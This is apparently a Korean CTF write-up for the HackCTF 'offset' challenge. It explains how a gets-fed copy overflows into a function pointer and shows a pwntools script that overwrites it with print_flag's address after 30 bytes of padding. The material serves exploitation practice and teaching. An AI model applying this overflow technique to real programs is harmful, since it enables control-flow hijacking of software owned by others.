1. 보호기법 확인
2. 코드 확인
gets 함수로 입력받는다.
따라서 sendline으로 payload를 엔터를 포함해서 전달해야 FLAG가 바로 따진다.
selec_func에서 src에서 dest로 복사를 하는데, src는 main의 s이고 sfp에서 0x27바이트 떨어진 위치, dest는 sfp에서 0x2c 떨어진 위치에 있다.
dest가 src보다 0x3 바이트 더 앞에 있다.
그리고 selec_func 함수 마지막에 return v3()를 하는데, 이 v3가 가리키는 곳을 print_flag로 바꾸면 return 시 print_flag가 실행될 수 있을 것이다.
그럼 dest에 복사됐을 때 v3를 정확하게 print_flag 함수 주소로 덮으면 되는데, 그 앞의 dummy를 얼마를 줘냐 하느냐가 문제다. 근데 간단하게 생각해보면, src+27바이트 위치에 v3가 위치하는데 dest는 src보다 3바이트 앞에 있다. 따라서 dest 기준 30바이트 뒤에 v3가 위치하므로 src는 30바이트의 더미 뒤에 print_flag 함수 주소를 주면 dest에 복사될 때 30바이트의 더미, 그리고 print_flag주소가 덮히는데 그 print_flag 함수 주소가 덮히는 위치가 v3일 것이다.
3. exploit code
#!/usr/bin/python
from pwn import *
#p = process("./offset")
p = remote("ctf.j0n9hyun.xyz", 3007)
elf = ELF("./offset")
print_flag = elf.symbols['print_flag']
pay = 'A'*30 + p32(print_flag)
p.sendline(pay)
p.interactive()
4. exploit
[HackCTF] RTL_World (0) | 2020.01.02 |
---|---|
[HackCTF] BOF_PIE (0) | 2020.01.01 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2020.01.01 |
[HackCTF] x64 Simple_size_BOF (0) | 2020.01.01 |
[HackCTF] x64 Buffer Overflow (0) | 2020.01.01 |